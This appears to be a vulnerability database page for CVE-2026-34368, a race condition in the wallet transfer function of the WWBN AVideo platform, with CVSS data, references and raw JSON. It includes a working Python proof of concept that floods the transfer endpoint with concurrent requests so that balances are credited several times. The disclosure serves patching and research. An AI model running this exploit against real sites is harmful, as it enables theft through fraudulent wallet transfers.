Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-34368 CVSS 5.3 MEDIUM

CVE-2026-34368

Published: 2026-03-27 18:16:06
Last Modified: 2026-03-31 16:25:05

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance β€” all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Configuration TARGET_URL = "http://target-site/plugin/YPTWallet/transferBalance.json" SESSION_COOKIE = "valid_session_cookie_here" RECEIVER_ID = "2" AMOUNT = "100" # Headers and Payload headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "Content-Type": "application/x-www-form-urlencoded" } data = { "to_users_id": RECEIVER_ID, "amount": AMOUNT } def send_transfer(): """ Function to send a single transfer request. Intended to be run in multiple threads to simulate race condition. """ try: response = requests.post(TARGET_URL, headers=headers, data=data) print(f"Thread {threading.get_ident()}: Status {response.status_code}, Body: {response.text}") except Exception as e: print(f"Thread {threading.get_ident()}: Error {e}") # Create multiple threads to exploit the race condition threads = [] for i in range(20): # Sending 20 concurrent requests t = threading.Thread(target=send_transfer) threads.append(t) t.start() for t in threads: t.join() print("Exploit attempt finished.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34368", "sourceIdentifier": "[email protected]", "published": "2026-03-27T18:16:05.723", "lastModified": "2026-03-31T16:25:04.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance β€” all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Commit 34132ad5159784bfc7ba0d7634bb5c79b769202d contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/34132ad5159784bfc7ba0d7634bb5c79b769202d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}